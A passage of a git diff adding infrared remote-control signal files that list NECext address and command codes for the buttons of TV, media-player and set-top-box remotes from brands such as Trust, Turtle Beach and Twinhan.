+protocol: NECext +address: 07 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir b/assets/resources/infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir new file mode 100644 index 000000000..6d0acab04 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0A 00 00 00 +# +name: minmax +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0B 00 00 00 +# +name: tv/av +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0E 00 00 00 +# +name: TimeShift +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 0F 00 00 00 +# +name: arrow_right +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 10 00 00 00 +# +name: arrow_left +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 11 00 00 00 +# +name: arrow_up +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 12 00 00 00 +# +name: arrow_down +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 13 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 16 00 00 00 +# +name: Snapshot +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 18 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 1A 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 1C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 1F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 40 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 41 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 42 00 00 00 +# +name: click +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 43 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 44 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 BD 00 00 +command: 45 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir new file mode 100644 index 000000000..82bf638fb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 24 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 25 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 33 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 34 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir b/assets/resources/infrared/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir new file mode 100644 index 000000000..8f31fcf4a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 16 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 19 00 00 00 +# +name: skipforward +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 23 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 24 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 26 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 47 00 00 00 +# +name: KEY_IMAGES +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 49 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 4A 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 50 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 34 0F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir b/assets/resources/infrared/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir new file mode 100644 index 000000000..ceb5c97eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 01 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 02 00 00 00 +# +name: qview +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 03 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 04 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 05 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 08 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 13 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 14 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 17 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 19 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1F 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 48 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 4A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir new file mode 100644 index 000000000..5f6540571 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 45 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir b/assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir new file mode 100644 index 000000000..226aa6dc0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: GROUP +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 00 00 00 00 +# +name: ADD +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 01 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 02 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 07 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 08 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 09 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0C 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0D 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0E 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0F 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 10 00 00 00 +# +name: 14 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 11 00 00 00 +# +name: 15 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 12 00 00 00 +# +name: 16 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 14 00 00 00 +# +name: ADD_FAVORITE +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 15 00 00 00 +# +name: JUMP_- +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 16 00 00 00 +# +name: JUMP_+ +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 17 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 18 00 00 00 +# +name: SKIP_< +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 19 00 00 00 +# +name: SKIP_> +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1B 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1E 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1F 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 40 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 41 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 42 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 43 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 47 00 00 00 +# +name: ARTIST +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 48 00 00 00 +# +name: ALBUM +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 49 00 00 00 +# +name: GENRE +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 4A 00 00 00 +# +name: NET +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 4B 00 00 00 +# +name: LISTS +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 4C 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir b/assets/resources/infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir new file mode 100644 index 000000000..c1d7abad8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: Group +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 00 00 00 00 +# +name: Add +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 01 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 09 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 10 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 14 00 00 00 +# +name: addfav +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 18 00 00 00 +# +name: skiprev +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1A 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1E 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 1F 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 40 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 41 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 42 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 43 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 47 00 00 00 +# +name: artist +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 48 00 00 00 +# +name: album +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 49 00 00 00 +# +name: genre +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 4A 00 00 00 +# +name: net +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 4B 00 00 00 +# +name: lists +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 4C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 F9 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir new file mode 100644 index 000000000..8220b3662 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_TAB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: Hibernate +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: Info/EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: FR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: L/R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: Enter/OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: SAP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: Capture +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir new file mode 100644 index 000000000..7c7cfb9df --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_TAB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 